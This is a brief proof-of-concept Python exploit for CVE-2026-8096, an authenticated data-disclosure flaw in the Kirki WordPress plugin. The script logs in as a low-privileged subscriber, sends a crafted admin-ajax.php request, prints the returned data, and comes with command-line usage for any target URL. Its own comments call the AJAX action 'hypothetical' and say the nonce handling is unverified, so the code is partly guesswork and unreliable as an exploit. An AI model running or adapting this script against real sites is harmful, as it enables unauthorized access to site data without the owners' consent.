CVE-2026-8096

import requests # Exploit Title: Kirki WordPress Plugin < 6.0.7 - Authenticated (Subscriber+) Sensitive Data Disclosure # Date: 2026-05-19 # Exploit Author: Analyst # Vendor Homepage: https://kirki.org/ # Software Link: https://wordpress.org/plugins/kirki/ # Version: <= 6.0.6 # CVE: CVE-2026-8096 def exploit(target_url, username, password): session = requests.Session() # Step 1: Login as a low-privileged user (e.g., Subscriber) login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } session.post(login_url, data=login_data) # Step 2: Send AJAX request to exploit the authorization bypass # Note: The specific 'action' parameter needs to be verified against the plugin source code # This is a representative PoC based on the vulnerability description. ajax_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'kirki_list_forms', # Hypothetical action based on functionality 'security': '' # Might be required depending on nonce implementation, often bypassed in these bugs } response = session.post(ajax_url, data=payload) if response.status_code == 200: print("[+] Exploit successful! Data retrieved:") print(response.text) else: print("[-] Exploit failed.") if __name__ == "__main__": # Usage: python poc.py http://target.com subscriber password import sys if len(sys.argv) == 4: exploit(sys.argv[1], sys.argv[2], sys.argv[3]) else: print("Usage: python poc.py <target_url> <username> <password>")

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